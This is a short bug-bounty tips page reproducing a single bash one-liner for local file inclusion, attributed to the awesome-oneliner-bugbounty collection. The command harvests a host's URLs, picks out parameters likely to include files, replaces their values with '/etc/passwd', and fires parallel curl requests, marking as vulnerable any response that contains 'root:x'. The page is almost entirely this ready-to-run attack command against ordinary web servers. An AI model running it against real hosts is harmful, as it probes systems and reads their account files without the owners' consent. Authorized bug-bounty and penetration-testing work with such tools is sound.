One-liner: Local File Inclusion

File inclusion and path traversalExploitation

From awesome-oneliner-bugbounty by Dwi Siswanto and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

@dwisiswant0

bash
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

Comments

No comments yet.